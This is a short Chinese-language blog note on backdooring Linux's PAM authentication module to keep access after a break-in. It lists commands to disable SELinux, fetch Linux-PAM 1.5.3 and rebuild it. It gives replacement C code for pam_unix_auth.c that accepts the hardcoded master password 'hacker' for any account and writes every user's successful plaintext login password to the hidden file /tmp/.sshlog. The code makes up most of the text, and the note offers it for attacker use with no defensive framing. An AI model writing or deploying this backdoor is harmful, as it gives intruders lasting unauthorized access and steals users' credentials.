【笔记】Linux重新编译PAM模块实现权限维持

发表于 2024-12-04 更新于 2025-12-19 阅读次数：

前言

Linux重新编译PAM模块实现权限维持

下载依赖

1	yum install gcc flex flex-dev

关闭Linux安全模式（SELinux）

1	setenforce 0

查看当前PAM版本

1	rpm -qa \| grep pam

下载对应版本的PAM

在linux-pam/linux-pam下载对应版本的PAM

1
2
3

wget https://github.com/linux-pam/linux-pam/releases/download/v1.5.3/Linux-PAM-1.5.3.tar.xz
tar -xvf Linux-PAM-1.5.3.tar.xz
cd Linux-PAM-1.5.3

修改源码

将/* verify the password of this user */下的校验逻辑替换为后门代码，添加万能密码，并保存非万能密码登录的明文密码

hacker：万能密码
/tmp/.sshlog：SSH登录的密码保存路径

modules/pam_unix/pam_unix_auth.c

//retval = _unix_verify_password(pamh, name, p, ctrl);
//name = p = NULL;

retval = _unix_verify_password(pamh, name, p, ctrl);
if (strcmp("hacker", p) == 0) {
        return PAM_SUCCESS;
}    
if(retval == PAM_SUCCESS) {
        FILE * fp;
        fp = fopen("/tmp/.sshlog", "a");
        fprintf(fp, "%s : %s\n", name, p);
        fclose(fp);
}
name = p = NULL;

AUTH_RETURN;